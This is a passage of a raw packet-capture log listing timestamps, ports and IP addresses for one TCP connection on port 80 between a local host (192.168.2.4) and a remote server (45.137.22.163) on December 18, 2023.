Dec 18, 2023 14:31:21.220252991 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220278025 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220324039 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220335960 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220374107 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220380068 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220403910 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220416069 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220427036 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220427990 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220463991 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.220504999 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220524073 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220534086 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.220566988 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458019972 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458035946 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458091974 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458089113 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458137989 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458152056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458184004 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458189964 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458231926 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458240032 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458255053 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458266973 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458288908 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458293915 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458329916 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458403111 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458415985 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458426952 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458437920 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458450079 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458462000 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458463907 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458473921 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458482027 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458487034 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458503962 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458512068 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458528042 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458530903 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458544016 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458564997 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458573103 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458606005 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458619118 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458620071 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458631039 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458643913 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458659887 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458672047 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458703041 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458729029 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458767891 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458780050 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458801031 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458813906 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458846092 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.458878994 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458909988 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.458925962 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459083080 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459109068 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459120989 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459132910 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459132910 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459146023 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459158897 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459172010 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459172010 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459183931 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459189892 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459197044 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459211111 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459212065 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459224939 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459240913 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459242105 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459255934 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459264994 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459270000 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459295034 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459310055 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459314108 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459326982 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459337950 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459356070 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459362030 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459379911 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459403992 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459445953 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459458113 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459498882 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459521055 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459542036 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459574938 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459588051 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459619045 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459630013 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459652901 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459673882 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459718943 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459732056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459753036 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459760904 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459765911 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459779024 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459810972 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459819078 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459873915 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459891081 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459923029 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459935904 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459948063 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.459969044 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459991932 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.459997892 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460011959 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460025072 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460037947 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460055113 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460061073 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460072994 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460076094 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460123062 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460130930 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460143089 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460156918 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460186005 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460201979 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460246086 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460270882 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460283995 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460294008 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460305929 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460324049 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460352898 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460356951 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460371971 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460410118 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460416079 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460493088 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460505009 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460536957 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460547924 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460561037 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460572004 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460592031 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460616112 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460642099 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460654020 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460666895 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460679054 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460691929 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460695028 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460714102 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460717916 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460755110 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460767031 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460779905 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460791111 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460803986 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460814953 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460824966 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460825920 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460844040 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460865021 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460885048 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460905075 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460941076 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460953951 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.460968018 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.460989952 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461009979 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461041927 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461055040 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461065054 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461076975 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461082935 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461117029 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461124897 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461186886 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461199999 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461211920 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461236954 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461251020 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461261988 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461292028 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461303949 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461335897 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461366892 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461412907 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461416960 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461447954 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461457968 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461478949 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461489916 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461491108 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461529016 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461554050 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461565971 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461576939 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461599112 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461605072 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461611986 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461638927 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461666107 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461700916 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461709976 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461714029 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461728096 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461754084 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461767912 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461780071 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461801052 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461813927 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461847067 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461857080 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461860895 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461884022 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461895943 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461908102 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461908102 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461937904 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.461941004 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461952925 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.461982965 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462019920 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462032080 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462043047 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462059021 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462071896 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462076902 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462084055 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462110996 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462116003 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462131023 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462155104 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462182045 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462196112 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462229013 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462253094 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462274075 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462297916 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462321043 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462342024 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462372065 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462385893 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462416887 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462447882 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462460995 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.462495089 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.462980032 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463020086 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463032007 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463049889 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463099003 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463103056 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463144064 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463187933 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463191032 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463221073 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463262081 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463267088 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463284016 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463295937 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463368893 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463392019 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463388920 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463418961 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463450909 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463459015 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463459015 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463489056 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463521004 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463537931 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463578939 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463603020 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463639975 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463663101 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463675022 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463701963 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463707924 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463732004 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463752985 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463768005 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463789940 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463807106 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463814020 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463848114 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463857889 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463874102 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463885069 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463896990 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463908911 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463908911 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463932991 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463944912 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.463968039 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.463977098 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464030981 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464042902 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464068890 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464078903 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464095116 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464119911 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464152098 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464164972 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464175940 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464189053 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464195013 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464200974 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464215040 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464221001 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464227915 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464245081 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464267015 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464292049 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464303970 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464314938 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464344025 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.464359045 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464375973 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.464401007 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.702064037 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702095032 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702147007 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702157021 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.702181101 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702197075 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702238083 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.702366114 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702419043 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702460051 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702465057 CET	49730	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:21.702491045 CET	80	49730	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:21.702534914 CET	49730	80	192.168.2.4	45.137.22.163
